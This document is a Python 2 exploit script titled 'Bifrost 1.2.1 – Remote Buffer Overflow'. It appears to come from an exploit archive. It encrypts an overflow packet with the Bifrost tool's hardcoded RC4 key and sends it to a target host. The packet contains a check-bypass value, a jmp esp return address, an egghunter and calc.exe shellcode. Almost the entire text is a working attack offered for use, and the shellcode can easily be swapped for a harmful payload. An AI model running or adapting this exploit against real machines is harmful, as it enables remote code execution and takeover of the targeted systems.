Bifrost 1.2.1 – Remote Buffer Overflow
#!/usr/bin/python2.7 #By : Mohamed Clay import socket from time import sleep from itertools import izip, cycle import base64 import sys def rc4crypt(data, key): x = 0 box = range(256) for i in range(256): x = (x + box[i] + ord(key[i % len(key)])) % 256 box[i], box[x] = box[x], box[i] x = 0 y = 0 out = [] for char in data: x = (x + 1) % 256 y = (y + box[x]) % 256 box[x], box[y] = box[y], box[x] out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256])) return ''.join(out) def bif_len(s): while len(s)<8: s=s+"00" return s def header(s): a=(s[0]+s[1]).decode("hex") a+=(s[2]+s[3]).decode("hex") a+=(s[4]+s[5]).decode("hex") a+=(s[5]+s[6]).decode("hex") return a def random(): a="" for i in range(0,8): a+="A"*1000+"|" return a def usage(): print "\n\n\t***************************" print "\t* By : Mohamed Clay *" print "\t* Bifrost 1.2.1 Exploit *" print "\t***************************\n" print "\t Usage : ./bifrost1.2.1 host port" print "\tExample : ./bifrost1.2.1 192.168.1.10 81\n\n" if len(sys.argv)!=3: usage() exit() HOST=sys.argv[1] PORT=int(sys.argv[2]) key="\xA3\x78\x26\x35\x57\x32\x2D\x60\xB4\x3C\x2A\x5E\x33\x34\x72\x00" xor="\xB2\x9C\x51\xBB" # we need this in order to bypass 0046A03E function eip="\x53\x93\x3A\x7E" # jmp esp User32.dll egghunter = "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8\x77\x30\x30\x74\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"; #calc.exe shellcode (badchars "\x00") buf ="\xb8\x75\xd3\x5c\x87\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9" buf +="\xb1\x33\x31\x43\x12\x83\xeb\xfc\x03\x36\xdd\xbe\x72\x44" buf +="\x09\xb7\x7d\xb4\xca\xa8\xf4\x51\xfb\xfa\x63\x12\xae\xca" buf +="\xe0\x76\x43\xa0\xa5\x62\xd0\xc4\x61\x85\x51\x62\x54\xa8" buf +="\x62\x42\x58\x66\xa0\xc4\x24\x74\xf5\x26\x14\xb7\x08\x26" buf +="\x51\xa5\xe3\x7a\x0a\xa2\x56\x6b\x3f\xf6\x6a\x8a\xef\x7d" buf +="\xd2\xf4\x8a\x41\xa7\x4e\x94\x91\x18\xc4\xde\x09\x12\x82" buf +="\xfe\x28\xf7\xd0\xc3\x63\x7c\x22\xb7\x72\x54\x7a\x38\x45" buf +="\x98\xd1\x07\x6a\x15\x2b\x4f\x4c\xc6\x5e\xbb\xaf\x7b\x59" buf +="\x78\xd2\xa7\xec\x9d\x74\x23\x56\x46\x85\xe0\x01\x0d\x89" buf +="\x4d\x45\x49\x8d\x50\x8a\xe1\xa9\xd9\x2d\x26\x38\x99\x09" buf +="\xe2\x61\x79\x33\xb3\xcf\x2c\x4c\xa3\xb7\x91\xe8\xaf\x55" buf +="\xc5\x8b\xed\x33\x18\x19\x88\x7a\x1a\x21\x93\x2c\x73\x10" buf +="\x18\xa3\x04\xad\xcb\x80\xfb\xe7\x56\xa0\x93\xa1\x02\xf1" buf +="\xf9\x51\xf9\x35\x04\xd2\x08\xc5\xf3\xca\x78\xc0\xb8\x4c" buf +="\x90\xb8\xd1\x38\x96\x6f\xd1\x68\xf5\xee\x41\xf0\xd4\x95" buf +="\xe1\x93\x28" raw=(1000-533-len(egghunter))*"\x90" raw2=(1000-8-len(buf))*"\x41"+"|" command=30 tmp=hex(command).split("0x")[1] data=tmp.decode("hex")+"F"*2+" "*511+xor+"C"*8+eip+"A"*12+egghunter+raw+"|"+" "*1000+"|"+"w00tw00t"+buf+raw2+random() out=rc4crypt(data,key) l=header(bif_len(str(hex(len(data))).split("0x")[1])) out=l+out s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.sendall(out) print "\n[*] By : Mohamed Clay" print "[*] Exploit completed\n" |